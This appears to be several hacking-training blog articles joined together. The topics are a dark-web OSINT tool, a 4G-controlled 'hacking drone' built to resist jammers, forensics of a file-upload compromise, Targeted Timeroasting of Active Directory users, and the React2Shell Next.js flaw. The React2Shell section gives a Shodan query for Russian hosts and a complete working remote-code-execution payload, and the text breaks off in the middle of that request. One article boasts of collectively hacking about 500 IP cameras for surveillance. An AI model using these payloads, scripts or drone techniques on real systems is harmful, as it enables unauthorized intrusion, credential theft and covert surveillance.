Robin is an open-source tool for investigating the dark web. It uses AI to improve your searches, filter results from dark web search engines, and summarize what you find. What makes Robin particularly valuable is its multi-model support. You can easily switch between OpenAI, Claude, Gemini, or local models like Ollama depending on your needs, budget, and privacy requirements. The tool is CLI-first, built for terminal users who want to integrate dark web intelligence into their existing workflows.

Step #1: Install Robin

For this demonstration, I’ll be using a Raspberry Pi as the hacking platform, but you can easily replicate all the steps using Kali or any other Debian-based distribution. To install the tool, we can either use the source code from GitHub or Docker. I will choose the first option. To begin, clone the repository first:

pi> git clone https://github.com/apurvsinghgautam/robin.git

As shown in the downloaded files, this is a Python project. We need to create a virtual environment and install the required packages.

pi> python -m venv venv

pi> source venv/bin/activate

pi> pip3 install -r requirements.txt

Before Robin can search the dark web, we need to have Tor running on your system. Install Tor by opening your terminal and executing the following command:

pi> sudo apt install tor

Step #2: Configure Your API Key

In this demonstration, I will be using Google’s Gemini models. You can easily create an API key in Google AI Studio to access the models. If you open the config.py file, you will see which models support the tool.

Robin can be configured using either a .env file or system environment variables. For most users, creating a .env file in your Robin directory provides the cleanest approach. This method keeps your API credentials organized and makes it easy to switch between different configurations. Open the file in your preferred text editor and add your Gemini API key.

Step #3: Execute Your First Dark Web Investigation

First, let’s open the help screen to see which options this tool supports and to verify that we installed it correctly.

pi> python3 main.py –help

Currently, we can see two supported modes for using this tool: CLI and web UI. I prefer CLI, so I will demonstrate that. Let’s explore the help screen of the CLI mode.

pi> python3 main.py cli –help

It’s a straightforward help screen; we simply need to specify an LLM model and our query. Let’s search for credential exposure.

pi> python3 main.py cli -m gemini-2.5-flash -q “sensitive credentials exposure”

After a few minutes of processing, Robin produced the gathered information on the terminal. By default, it is formatted in Markdown and saved to a file with a name based on the current date and time. To view the results with Markdown formatting, I’ll use a command-line tool called glow.

pi> glow summary-xx-xx.md

The analysis examined various Tor-based marketplaces, vendors, and leak sources that advertise stolen databases and credentials. The findings reveal a widespread exposure of personally identifiable information (PII), protected health information (PHI), financial data, account credentials, and cryptocurrency private keys associated with major global organizations and millions of individuals. The report documents active threat actors, their tactics, and methods of monetization. Key risks have been identified, along with recommended next steps.

Understand the Limitations

While Robin is a powerful tool for dark web OSINT, it’s important to understand its limits. The tool uses dark web search engines, which only index a small part of what’s actually on hidden services. Many dark websites block indexing or require you to log in, so Robin can’t reach them through automated searches. For thorough investigations, you’ll still need to add manual research and other OSINT methods to what Robin finds.

The quality of Robin’s intelligence summaries depends a lot on the LLM you’re using and the quality of what it finds. Gemini 2.5 Flash gives great results for most investigations, but the AI can only work with the information in the search results. If your search doesn’t match indexed content, or if the information you need is behind a login wall, Robin won’t find it.

Summary

Conducting investigations on the dark web can be time-consuming when using traditional search tools. Since the dark web relies on anonymity networks, isn’t indexed by standard search engines, and contains a vast amount of irrelevant information, manual searching can often be slow and ineffective. Robin addresses these challenges by leveraging AI to enhance your searches, intelligently filter results, and transform findings into useful intelligence reports. While this tool does have limitations, it can be a valuable addition to your arsenal when combined with manual searching and other OSINT tools.

If you’re interested in deepening your knowledge of OSINT investigations or even starting your own investigation business, consider exploring our OSINT training to enhance your skills.

Welcome back, aspiring cyberwarriors!

We are really glad to see you back for the second part of this series. In the first article, we explored some of the cheapest and most accessible ways to build your own hacking drone. We looked at practical deployment problems, discussed how difficult stable control can be, and even built small helper scripts to make your life easier. That was your first step into this subject where drones become independent cyber platforms instead of just flying gadgets. 

We came to the conclusion that the best way to manage our drone would be via 4G. Currently, in 2026, Russia is adapting a new strategy in which it is switching to 4G to control drones. An example of this is the family of Shahed drones. These drones are generally built as long-range, loitering attack platforms that use pre-programmed navigation systems, and initially they relied only on satellite guidance to reach their targets rather than on a constant 4G data link. However, in some reported variants, cellular connectivity was used to support telemetry and control-related functionality.

In recent years, Russia has been observed modifying these drones to carry different types of payloads and weapons, including missiles and MANPADS (Man-Portable Air-Defense System) mounted onto the airframe. The same principle applies here as with other drones. Once you are no longer restricted to a short-range Wi-Fi control link and move to longer-range communication options, your main limitation becomes power. In other words, the energy source ultimately defines how long the aircraft can stay in the air.

Today, we will go further. In this part, we are going to remove the smartphone from the back of the drone to reduce weight. The free space will instead be used for chipsets and antennas.

4G > UART > Drone

In the previous part, you may have asked yourself why an attacker would try to remotely connect to a drone through its obvious control interfaces, such as Wi-Fi. Why not simply connect directly to the flight controller and bypass the standard communication layers altogether? In the world of consumer-ready drones, you will quickly meet the same obstacle over and over again. These drones usually run closed proprietary control protocols. Before you can talk to them directly, you first need to reverse engineer how everything works, which is neither simple nor fast.

However, there is another world of open-source drone-control platforms. These include projects such as Betaflight, iNav, and Ardupilot. The simplest of these, Betaflight, supports direct control-motor command transmission over UART. If you have ever worked with microcontrollers, UART will feel familiar. The beauty here is that once a drone listens over UART, it can be controlled by almost any small Linux single-board computer. All you need to do is connect a 4G module and configure a VPN, and suddenly you have a controllable airborne hacking robot that is reachable from anywhere with mobile coverage. Working with open systems really is a pleasure because nothing is truly hidden.

So, what does the hacker need? The first requirement is a tiny and lightweight single-board computer, paired with a compact 4G modem. A very convenient combination is the NanoPi Neo Air together with the Sim7600G module. Both are extremely small and almost the same size, which makes mounting easier.

The NanoPi communicates with the 4G modem over UART. It actually has three UART interfaces. One UART can be used exclusively for Internet connectivity, and another one can be used for controlling the drone flight controller. The pin layout looks complicated at first, but once you understand which UART maps to which pins, the wiring becomes straightforward.

After some careful soldering, the finished 4G control module will look like this:

Even very simple flight controllers usually support at least two UART ports. One of these is normally already connected to the drone’s traditional radio receiver, while the second one remains available. This second UART can be connected to the NanoPi. The wiring process is exactly the same as adding a normal RC receiver.

The advantage of this approach is flexibility. You can seamlessly switch between control modes through software settings rather than physically rewiring connectors. You attach the NanoPi and Sim7600G, connect the cable, configure the protocol, and the drone now supports 4G-based remote control.

Depending on your drone’s layout, the board can be mounted under the frame, inside the body, or even inside 3D-printed brackets. Once the hardware is complete, it is time to move into software. The NanoPi is convenient because, when powered, it exposes a USB-based console. You do not even need a monitor. Just run a terminal such as:

nanoPi >  minicom -D /dev/ttyACM0 -b 9600

Then disable services that you do not need:

nanoPi >  systemctl disable wpa_supplicant.service

nanoPi >  systemctl disable NetworkManager.service

Enable the correct UART interfaces with:

nanoPi >  armbian-config

From the System menu you go to Hardware and enable UART1 and UART2, then reboot.

Next, install your toolkit:

nanoPi >  apt install minicom openvpn python3-pip cvlc

Minicom is useful for quickly checking UART traffic. For example, check modem communication like this:

minicom -D /dev/ttyS1 -b 115200
AT

If all is well, then you need to config files for the modem. The first one goes to /etc/ppp/peers/telecom. Replace “telecom” with the name of the cellular provider you are going to use to establish 4G connection.

And the second one goes to /etc/chatscripts/gprs

To activate 4G connectivity, you can run:

nanoPi >  pon telecom

Once you confirm connectivity using ping, you should enable automatic startup using the interfaces file. Open /etc/network/interfaces and add these lines:

auto telecom
iface telecom inet ppp
provider telecom

Now comes the logical connectivity layer. To ensure you can always reach the drone securely, connect it to a central VPN server:

nanoPi > cp your_vds.ovpn /etc/openvpn/client/vds.conf

nanoPi > systemctl enable openvpn-client@vds

This allows your drone to “phone home” every time it powers on.

Next, you must control the drone motors. Flight controllers speak many logical control languages, but with UART the easiest option is the MSP protocol. We install a Python library for working with it:

NanoPi > cd /opt/; git clone https://github.com/alduxvm/pyMultiWii

NanoPi > pip3 install pyserial

The protocol is quite simple, and the library itself only requires knowing the port number. The NanoPi is connected to the drone’s flight controller via UART2, which corresponds to the ttyS2 port. Once you have the port, you can start sending values for the main channels: roll, propeller RPM/throttle, and so on, as well as auxiliary channels:

Find the script on our GitHub and place the it in ~/src/ named as control.py

The NanoPi uses UART2 for drone communication, which maps to ttyS2. You send MSP commands containing throttle, pitch, roll, yaw, and auxiliary values. An important detail is that the flight controller expects constant updates. Even if the drone is idle on the ground, neutral values must continue to be transmitted. If this stops, the controller assumes communication loss. The flight controller must also be told that MSP data is coming through UART2. In Betaflight Configurator you assign UART2 to MSP mode.

We are switching the active UART for the receiver (the NanoPi is connected to UART2 on the flight controller, while the stock receiver is connected to UART1). Next we go to Connection and select MSP as the control protocol.

If configured properly, you now have a drone that you can control over unlimited distance as long as mobile coverage exists and your battery holds out. For video streaming, connect a DVP camera to the NanoPi and stream using VLC like this:

cvlc v4l2:///dev/video0:chroma=h264:width=800:height= \
--sout '#transcode{vcodec=h264,acodec=mp3,samplerate=44100}:std{access=http,mux=ffmpeg{mux=flv},dst=0.0.0.0:8080}' -vvv

The live feed becomes available at:

http://drone:8080/

Here “drone” is the VPN IP address of the NanoPi.

To make piloting practical, you still need a control interface. One method is to use a real transmitter such as EdgeTX acting as a HID device. Another approach is to create a small JavaScript web app that reads keyboard or touchscreen input and sends commands via WebSockets. If you prefer Ardupilot, there are even ready-made control stacks.

By now, your drone is more than a toy. It is a remotely accessible cyber platform operating anywhere there is mobile coverage.

Protection Against Jammers

Previously we discussed how buildings and range limitations affect RF-based drone control. With mobile-controlled drones, cellular towers actually become allies instead of obstacles. However, drones can face anti-drone jammers. Most jammers block the 2.4 GHz band, because many consumer drones use this range. Higher end jammers also attack 800-900 MHz and 2.4 GHz used by RC systems like TBS, ELRS, and FRSKY. The most common method though is GPS jamming and spoofing. Spoofing lets an attacker broadcast fake satellite signals so the drone believes false coordinates. Since drone communication links are normally encrypted, GPS becomes the weak point. That means a cautious attacker may prefer to disable GPS completely. Luckily, on many open systems such as Betaflight drones or FPV cinewhoops, GPS is optional. Indoor drones usually do not use GPS anyway.

As for mobile-controlled drones, jamming becomes significantly more difficult. To cut the drone off completely, the defender must jam all relevant 4G, 3G, and 2G bands across multiple frequencies. If 4G is jammed, the modem falls back to 3G. If 3G goes down, it falls back to 2G. This layering makes mobile-controlled drones surprisingly resilient. Of course, extremely powerful directional RF weapons exist that wipe out all local radio communication when aimed precisely. But these tools are expensive and require high accuracy.

Summary

We transformed the drone into a fully independent device capable of long-range remote operation via mobile networks. The smartphone was replaced with a NanoPi Neo Air and a Sim7600G 4G modem, routed UART communication directly into the flight controller, and configured MSP-based command delivery. We also explored VPN connectivity, video streaming, and modern control interfaces ranging from RC transmitters to browser-based tools. Open-source flight controllers give us incredible flexibility.

In Part 3, we will build the attacking part and carry out our first wireless attack.

If you like the work we’re doing here and want to take your skills even further, we also offer a full SDR for Hackers Career Path. It’s a structured training program designed to guide you from the fundamentals of Software-Defined Radio all the way to advanced, real-world applications in cybersecurity and signals intelligence. 

Hello, aspiring digital forensics investigators!

In this article, we continue our journey into digital forensics by examining one of the most common and underestimated attack paths: abusing file upload functionality. The goal is to show how diverse real-world compromises can be, and how attackers can rely on legitimate features and not only exotic zero-day exploits. New vulnerabilities appear every day, often with proof-of-concept scripts that automate exploitation. These tools significantly lower the barrier to entry, allowing even less experienced attackers to cause real damage. While there are countless attack vectors available, not every compromise relies on a complex exploit. Sometimes, attackers simply take advantage of features that were never designed with strong security in mind. File upload forms are a perfect example.

Upload functionality is everywhere. Contact forms accept attachments, profile pages allow images, and internal tools rely on document uploads. When implemented correctly, these features are safe. When they are not, they can give attackers direct access to your server. The attack itself is usually straightforward. The real challenge lies in bypassing file type validation and filtering, which often requires creativity rather than advanced technical skills. Unfortunately, this weakness is widespread and has affected everything from small businesses to government websites.

Why File Upload Vulnerabilities Are So Common

Before diving into the investigation, it helps to understand how widespread this issue really is. Platforms like HackerOne contain countless reports describing file upload vulnerabilities across all types of organizations. Looking at reports involving government organizations or well known companies makes it clear that the same weaknesses can appear everywhere, even on websites people trust the most.

As infrastructure grows, maintaining visibility becomes increasingly difficult. Tracking every endpoint, service, and internal application is an exhausting task. Internal servers are often monitored less carefully than internet-facing systems, which creates ideal conditions for attackers who gain an initial foothold and then move laterally through the network, expanding their control step by step.

Exploitation

Let us now walk through a realistic example of how an attacker compromises a server through a file upload vulnerability, and how we can reconstruct the attack from a forensic perspective.

Directory Fuzzing

The attack almost always begins with directory fuzzing, also known as directory brute forcing. This technique allows attackers to discover hidden pages, forgotten upload forms, administrative panels, and test directories that were never meant to be public. From a forensic standpoint, every request matters. It is not only HTTP 200 responses that are interesting.

In our case, the attacker performed directory brute forcing against an Apache web server and left behind clear traces in the logs. By default, Apache stores its logs under /var/log/apache, where access.log and error.log provide insight into what happened.

bash# > less access.log

Even without automation, suspicious activity is often easy to spot. Viewing the access log with less reveals patterns consistent with tools like OWASP DirBuster. Simple one-liners using grep can help filter known tool names, but it is important to remember that behavior matters more than signatures. Attackers can modify headers easily, and in bug bounty testing this is often required to distinguish legitimate testing from malicious activity.

bash# > cat access.log | grep -iaE 'nmap|buster' | uniq -d

You might also want to list what pages have been accessed during the directory bruteforce by a certain IP. Here is how:

bash# > cat access.log | grep IP | grep 200 | grep -v 404 | awk ‘{print $6,$7,$8,$9}’

In larger environments, log analysis is usually automated. Scripts may scan for common tool names such as Nmap or DirBuster, while others focus on behavior, like a high number of requests from a single IP address in a short period of time. More mature infrastructures rely on SIEM solutions that aggregate logs and generate alerts. On smaller systems, tools like Fail2Ban offer a simpler defense by monitoring logs in real time and blocking IP addresses that show brute-force behavior.

POST Method

Once reconnaissance is complete, the attacker moves on to exploitation. This is where the HTTP POST method becomes important. POST is used by web applications to send data from the client to the server and is commonly responsible for handling file uploads.

In this case, POST requests were used to upload a malicious file and later trigger a reverse connection. By filtering the logs for POST requests, we can clearly see where uploads occurred and which attempts were successful.

bash# > cat * | grep -ai post

The logs show multiple HTTP 200 responses, confirming that the file upload succeeded and revealing the exact page used to upload the file.

The web server was hosted locally on-premises rather than in the cloud, that’s why the hacker managed to reach it from the corporate network. Sometimes web servers meant for the internal use are also accessible from the internet, which is a real issue. Often, contact pages that allow file uploads are secured, but other upload locations are frequently overlooked during development.

Reverse Shell

After successfully uploading a file, the attacker must locate it and execute it. This is often done by inspecting page resources using the browser’s developer tools. If an uploaded image or file is rendered on the page, its storage location can often be identified directly in the HTML. Here is an example of how it looks like:

Secure websites rename uploaded files to prevent execution. Filenames may be replaced with hashes, timestamps, or combinations of both. In some cases, the Inspect view even reveals the new name. The exact method depends on the developers’ implementation, unless the site is vulnerable to file disclosure and configuration files can be read.

Unfortunately, many websites do not enforce renaming at all. When the original filename is preserved, attackers can simply upload scripts and execute them directly.

The server’s error.log shows repeated attempts to execute the uploaded script. Eventually, the attacker succeeds and establishes a reverse shell, gaining interactive access to the system.

bash# > less error.log

Persistence

Once access is established, the attacker’s priority shifts to persistence. This ensures they can return even if the connection is lost or the system is rebooted.

Method 1: Crontabs and Local Users

One of the most common persistence techniques is abusing cron jobs. Crontab entries allow commands to be executed automatically at scheduled intervals. In this case, the attacker added a cron job that executed a shell command every minute, redirecting input and output through a TCP connection to a remote IP address and port. This ensured the reverse shell would constantly reconnect. Crontab entries can be found in locations such as /etc/crontab.

bash# > cat /etc/crontab

During the investigation, a new account was identified. System files revealed that the attacker created a new account and added a password hash directly to the passwd file.

bash# > cat /etc/passwd | grep -ai root2

The entry shows the username, hashed password, user and group IDs, home directory, and default shell. Creating users and abusing cron jobs are common techniques, especially among less experienced attackers, but they can still be effective when privileges are limited

Method 2: SSH Keys

Another persistence technique involves SSH keys. By adding their own public key to the authorized_keys file, attackers can log in without using passwords. This method is quiet, reliable, and widely abused. From a defensive perspective, monitoring access and changes to the authorized_keys file can provide early warning signs of compromise.

Method 3: Services

Persisting through system services gives attackers more flexibility. They also give more room for creativity. For example, the hackers might try to intimidate you by setting up a script that prints text once you log in. This can be ransom demands or other things that convey what they are after.

Services are monitored by the operating system and automatically restarted if they stop, which makes them ideal for persistence. Listing active services with systemctl helps identify suspicious entries.

bash# > systemctl --state=active --type=service

In this case, a service named IpManager.service appeared harmless at first glance. Inspecting its status revealed a script stored in /etc/network that repeatedly printed ransom messages. Because the service restarted automatically, the message kept reappearing. Disabling the service immediately stopped the behavior.

Since this issue is so widespread, and because there are constantly new reports of file upload vulnerabilities on HackerOne, not to mention the many undisclosed cases that are being actively exploited by hackers and state-sponsored groups, you really need to stay vigilant.

Summary

The attack does not end with persistence. Once attackers gain root access, they have complete control over the system. Advanced techniques such as rootkits, process manipulation, and kernel-level modifications can allow them to remain hidden for long periods of time. In situations like this, the safest response is often restoring the system from a clean backup created before the compromise. This is why maintaining multiple, isolated backups is critical for protecting important infrastructure.

As your organization grows, it naturally becomes harder to monitor every endpoint and to know exactly what is happening across your environment. If you need assistance securing your servers, hardening your Linux systems, or performing digital forensics to identify attackers, our team is ready to help

Welcome back, aspiring cyberwarriors!

We continue our PowerShell for Hackers series with another article that shows how PowerShell can be used during real pentests and purple team engagements. Today we are going to explore an attack called Timeroasting. However, instead of focusing only on computers, we will look at how a modified script can be used to abuse user accounts as well. The final result of this technique is a user hash that is already formatted to be cracked with hashcat.

Before we go any deeper, there is something important to clarify. This attack relies on modifying properties of user accounts inside Active Directory. That means you must already have domain administrator privileges. Normally, when an attacker compromises a domain admin account, the game is over for the organization. That account gives unrestricted control over the domain. But even with that level of privilege, there are still times when you may want credentials for a specific domain user, and you do not want to trigger obvious high-risk actions.

Defenders can monitor techniques such as dumping NTDS, extracting LSASS memory, or performing DCSync. There are situations where those methods are either blocked, monitored, or simply not ideal. The script we are discussing today exists exactly for such cases. It helps retrieve hashes in a way that may blend more quietly into normal domain behavior.

Timeroasting

You may be wondering what Timeroasting actually is. Timeroasting is a technique originally designed to obtain hashes from domain computers rather than users. It abuses a weakness in how certain computer and trust accounts store passwords in Active Directory. These machine passwords are then used to compute MS-SNTP authentication material, which attackers can collect and later attempt to crack offline. Normally, computer accounts in a domain have very long, randomly generated passwords. Because of that complexity, cracking them is usually impractical. However, this was not always the case. Older systems, including so-called “Pre-Windows 2000 Computers,” sometimes stored weak or predictable passwords. These legacy systems are what made Timeroasting especially interesting.

The attack was originally discovered and documented by Tom Tervoort from Secura. He showed how weak computer or trust account passwords in Active Directory could be exploited. For example, if a computer account had enough rights to perform DCSync, and its password was weak enough, you might even use the computer name itself as the password during attacks such as DCSync. The problem is that for modern systems, machine passwords are long and complex. Running those hashes through even powerful wordlists can take a very long time and still fail. That is why the use of the original Timeroasting attack was quite limited.

This limitation was addressed by Giulio Pierantoni, who took the original idea and upgraded it. He demonstrated that domain user accounts could also be abused in a similar way, which significantly changes the value and use-cases of this attack.

Targeted Timeroasting

Giulio Pierantoni called this technique “Targeted Timeroasting,” similar in spirit to Targeted Kerberoasting and AS-REP Roasting. Since domain administrators can modify attributes of user accounts, you can temporarily convert a user account into something that looks like a domain machine account, you can convince the domain controller to treat it as such and return a hash for it. In other words, the domain controller believes the account is a computer, and therefore exposes authentication material normally associated with machine accounts, except now it belongs to a human user.

Every Active Directory user object has a field called sAMAccountType. This field defines what kind of account it is. Under normal circumstances, regular users and machine accounts have different values. For example, a normal user account belongs to the SAM_NORMAL_USER_ACCOUNT category, while a machine account belongs to SAM_MACHINE_ACCOUNT.

Although you cannot directly modify this field, there is another attribute called userAccountControl. This is a set of flags that determines the characteristics of the account. Some of these flags correspond to workstations, servers, or domain controllers. When the userAccountControl value is changed to the flag representing a workstation trust account, the sAMAccountType attribute is automatically updated. The domain controller then believes it is dealing with a machine account.

Under normal security rules, you are not supposed to be able to convert one type of account into another. However, domain administrators are exempt from this limitation. That is exactly what makes Targeted Timeroasting possible. This technique cannot be executed by unprivileged users and is therefore different from things like Targeted Kerberoasting, AS-REP roasting, shadow credentials, or ESC14.

Before the hash is computed, the domain controller also checks that the sAMAccountName ends with a dollar sign. For domain administrators, changing this is trivial unless another account with the same name already exists. Once the userAccountControl and sAMAccountName values have been modified, the controller is willing to hand out the MS-SNTP hash for the account to anyone who asks appropriately.

There is one important operational warning shared by Giulio Pierantoni. When a user account is converted into a workstation trust account, that user will lose the ability to log into workstations. However, this does not affect existing active sessions. If you immediately revert the attributes after extracting the hash, the user will likely never notice anything happening.

Exploitation

A rough proof-of-concept script was created by modifying Jacopo Scannella’s original PowerShell Timeroasting script. The script is now available on GitHub.

To use it, you need to be a domain administrator running from a domain-joined system that already has the Active Directory PowerShell module installed.

The script works in several logical steps. It first retrieves important attributes such as the objectSid and userAccountControl values for the target account. Then it changes the userAccountControl attribute so that the account is treated as a workstation trust account. After that, it appends a dollar sign to the sAMAccountName, making the user look like a machine account. Once the attributes are updated, the script extracts the RID, sends a client MS-SNTP request to the domain controller, and retrieves the resulting hash from the response. Finally, it restores all the original values so that nothing appears out of the ordinary.

When observed in packet captures, the whole exchange looks like a simple NTP transaction. There is a request containing the RID and a response containing a signature generated from the NT hash of the account. The salt is also drawn from the NTP response packet.

The author of the modified script provided two usage modes. One mode allows you to target specific users individually. Another mode allows you to abuse every user in a supplied list.

To target a specific user, you would normally run:

PS > .\TargetedTimeroast.ps1 -domainController IP -v -victim USERNAME

If you want to target multiple users at once, you prepare a list and run:

PS > .\TargetedTimeroast.ps1 -v -file .\users.txt -domainController IP

Hashcat

Once you have collected the hashes you want, you can move to your Kali machine and begin cracking them with hashcat. It is recommended that you remove the RIDs from each hash to avoid issues during cracking. Your command will look like this:

bash$ > sudo hashcat -a 0 -m 31300 hashes.txt dictionary.txt

If the password is weak or reused, you may recover it relatively quickly.

Detection

Defenders should find this section important. Even though this attack requires domain administrator privileges, it should still be monitored, because insider threats or compromised admins do exist. There are several key behaviors that may indicate that Timeroasting or Targeted Timeroasting is taking place. One example is when a single host sends many MS-SNTP client requests, but those requests include different RIDs. Another example is when the RIDs in those requests belong to user accounts instead of normal computer accounts. You may also observe that the userAccountControl value of one or more user accounts changes from a normal user value to a workstation trust account value and then back again soon afterward. In addition, the sAMAccountName of a user account may briefly have a dollar sign added to the end.

These behaviors are unusual in normal environments. If they are monitored properly, attackers will have far fewer opportunities to exploit this weakness. Unfortunately, such monitoring is quite rare in many organizations.

Summary

This is a new creative application of a long-known attack concept. It is very likely that this technique will be adopted by a wide range of attackers, from red teamers to malicious actors. We should also remember the risk of insider threats, because a domain administrator could easily perform this technique without escalating privileges any further. The process is surprisingly straightforward when the correct level of access already exists.

Users should therefore aim to use strong, complex passwords inside corporate domains, not just meeting but exceeding the minimum policy requirements. It is also wise never to reuse passwords or even reuse the same style of password across different systems. Wherever possible, two-factor authentication should be enabled. Good architecture and strong monitoring will make techniques like Targeted Timeroasting far less attractive and much easier to detect.

In our continuing effort to offer you the very best in cybersecurity training, Hackers-Arise is proud to preset PowerShell for Hackers training. It is included with the Subscriber and Subscriber Pro packages. March 10-12.

Welcome back, my cyberwarriors!

This article was first published at Hackers-Arise in April 2022, just 2 months after the Russians invaded in Ukraine.

At the request of the IT Army of Ukraine, we were asked to help the war efforts by hacking a large number of IP cameras within Ukrainian territory. In this way, we can watch and surveil the Russian army in those areas. Should they commit further atrocities (we certainly pray they will not), we should be able to capture that on video and use it in the International Criminal Court. At the very least, we hope the word goes out to the Russian soldiers that we are watching and that constrains their brutality.

In a collaborative effort, our team (you all) has been able to hack into a very large number. We have nearly 500, and we are working on the remainder.

Here is a sampling of some of the cameras we now own for surveillance in Russia and Ukraine.

              

To learn more about hacking IP cameras, become a Subscriber Pro and attend our IP Camera Hacking training.

Welcome back, aspiring cyberwarriors!

In our industry, we often see serious security flaws that change everything overnight. React2Shell is one of those flaws. On December 3, 2025, security researchers found CVE-2025-55182, a critical bug with a perfect 10.0 severity score that affects React Server Components and Next.js applications. Within hours of going public, hackers started using this bug to break into IoT devices and web servers on a massive scale. By December 8, security teams saw widespread attacks targeting companies across multiple industries, from construction to entertainment.

What makes React2Shell so dangerous is how simple it is to use. Attackers only need to send one malicious HTTP request to take complete control of vulnerable systems. No complicated steps, no extra work required, just one carefully crafted message and the attacker owns the target.

In this article, we’ll explore the roots of React2Shell and how we can exploit this vulnerability in IoT devices.

The Technical Mechanics of React2Shell

React2Shell takes advantage of how React Server Components handle the React Flight protocol. The React Flight protocol is what moves server-side components of the web framework around. You can think of React Flight as the language that React Server Components use to communicate. When we talk about deserialization vulnerabilities like React2Shell, we’re talking about data that’s supposed to be formatted a certain way being misread by the code that receives it. To learn more about deserialization, check our previous article.

Internally, the deserialization payload takes advantage of how React handles Chunks, which are basic building blocks that define what React should render, display, or run. A chunk is basically a building block of a web page – a small piece of data that the server evaluates to render or process the page on the server instead of in the browser. Essentially, all these chunks are put together to build a complete web page with React.

In this vulnerability, the attacker crafts a Chunk that includes a then method. When React Flight sends this data to React Server Components, React treats the value as thenable, something that behaves like a Promise. Promises are essentially a way for code to say it does not have the result of something yet but will run some code and provide the results later. Javascript React’s automatic handling or misinterpretation of these promised values is what this exploit abuses.

Chunks are referenced with the dollar at token. The attacker has figured out a way to express state within the request forged to the server. With a status of resolved model, the attacker is tricking React Flight into thinking that it has already fulfilled the data in chunk zero. Essentially, the attacker has forged the lifecycle of the request to be further along than it actually is. Because this is resolved as thenable due to the then method by React Server Components, this leads down a code path which eventually executes malicious code.

When Chunk 1 is evaluated, React observes that this is thenable, meaning it appears as a promise. It will refer to Chunk 0 and then attempt to resolve the forged then method. Since the attacker now controls the then resolution path, React Server Components has been tricked into a codepath which the attacker has ultimate control over. When formData.get is set to a value which resolves to a constructor, React treats that field as a reference to a constructor function that it should hydrate during processing of the blob value. This becomes critical because dollar B values are rehydrated by React, and subsequently it must invoke the constructor.

This makes dollar B the execution pivot. By compelling React to hydrate a Blob-like value, React is forced to execute the constructor that the attacker smuggled into formData.get. Since that constructor resolves to the malicious thenable function, React executes the code as part of its hydration process. Lastly, by defining the prefix primitive, the attacker prepends malicious code into the executable codepath. By appending two forward slashes to the payload, the attacker has told Javascript to treat the rest as a commented block, allowing execution of only the attacker’s code and avoiding syntax errors, quite similar to SQL Injection.

Fire Up the PoC

Before working with the exploit, let’s go to Shodan and see how many active sites on Next.js it has indexed.

As you can see, the query: http.component:“Next.js” 200 country:“ru” returned more than a thousand results. But of course, not all of them are vulnerable. To check, we can use the following template for Nuclei.

id: cve-2025-55182-react2shell

info:
  name: Next.js/React Server Components RCE (React2Shell)
  author: assetnote
  severity: critical
  description: |
    Detects CVE-2025-55182 and CVE-2025-66478, a Remote Code Execution vulnerability in Next.js applications using React Server Components.
    It attempts to execute 'echo $((1337*10001))' on the server. If successful, the server returns a redirect to '/login?a=11111'.
  reference:
    - https://github.com/assetnote/react2shell-scanner
    - https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id:
      - CVE-2025-55182
      - CVE-2025-66478
  tags: cve, cve2025, nextjs, rce, react

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
        Next-Action: x
        X-Nextjs-Request-Id: b5dce965
        X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="0"

        {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $((1337*10001))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="1"

        "$@0"
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="2"

        []
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "/login?a=13371337"
          - "X-Action-Redirect"
        condition: and

Next, this command will show whether the web application is vulnerable.

kali> nuclei -silent -u http://<ip>:3000 -t react2shell.yaml

In addition, on Github you can find scanners in different programming languages that do exactly the same thing. Here is an example of a solution from Malayke:

You can create a test environment for this vulnerability with just a few commands:

kali> npx create-next-app@16.0.6 my-cve-2025-66478-app

kali> cd my-cve-2025-66478-app

kali> npm run dev

Commands above create a new Next.js application named my-cve-2025-66478-app using version 16.0.6 of the official setup tool, without installing anything globally. If you open localhost:3000 in your browser, you will see the following.

At this stage, we can proceed to exploit the vulnerability. Open your preferred web app proxy application, such as Burp Suite or ZAP. In this case, I will be using Caido (if you have not used it before, you can familiarize yourself with it in the following articles).

The algorithm is quite simple: we need to catch the request to the site and redirect it to Replay.

After that, we need to change the request from GET to POST and add a payload. The overall request looks like this:

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
